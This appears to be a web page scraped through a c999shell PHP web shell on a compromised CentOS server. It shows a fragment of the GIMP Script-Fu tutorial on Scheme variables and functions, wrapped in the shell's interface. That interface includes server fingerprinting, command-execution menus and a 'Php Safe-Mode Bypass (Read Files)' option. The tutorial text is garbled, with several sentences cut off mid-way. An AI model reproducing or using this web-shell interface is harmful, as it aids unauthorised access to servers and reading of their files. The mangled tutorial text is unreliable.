Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/gimp/2.0/help/en/ drwxr-xr-x |
Viewing file: ch07s03s02.html (13.17 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | Now that we know that every Scheme statement is enclosed in parentheses, and that the function name/operator is listed first, we need to know how to create and use variables, and how to create and use functions. We'll start with the variables. Although there are a couple of different methods for declaring variables, the preferred method is to use the let* construct. If you're familiar with other programming languages, this construct is equivalent to defining a list of local variables and a scope in which they're active. As an example, to declare two variables, a and b, initialized to 1 and 2, respectively, you'd write: (let* ( (a 1) (b 2) ) (+ a b) ) or, as one line: (let* ( (a 1) (b 2) ) (+ a b) )
This declares two local variables, a and b, initializes them, then prints the sum of the two variables.
You'll notice that we wrote the summation
This is because the
The general form of a (let* (
where variables are declared within parens, e.g., (a 2), and
expressions are any valid Scheme expressions. Remember that
the variables declared here are only valid within the
Previously, we mentioned the fact that you'll probably want to use indentation to help clarify and organize your scripts. This is a good policy to adopt, and is not a problem in Scheme -- white space is ignored by the Scheme interpreter, and can thus be liberally applied to help clarify and organize the code within a script. However, if you're working in Script-Fu's Console window, you'll have to enter an entire expression on one line; that is, everything between the opening and closing parens of an expression must come on one line in the Script-Fu Console window. Once you've initialized a variable, you might need to change its value later on in the script. Use the set! statement to change the variable's value: (let* ( (theNum 10) ) (set! theNum (+ theNum \ theNum)) ) Try to guess what the above statement will do, then go ahead and enter it in the Script-Fu Console window.
Now that you've got the hang of variables, let's get to work with some functions. You declare a function with the following syntax: (define (
where (define (AddXY inX inY) (+ inX inY) )
If you've programmed in other imperative languages (like C/C++, Java, Pascal, etc.), you might notice that a couple of things are absent in this function definition when compared to other programming languages.
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0167 ]-- |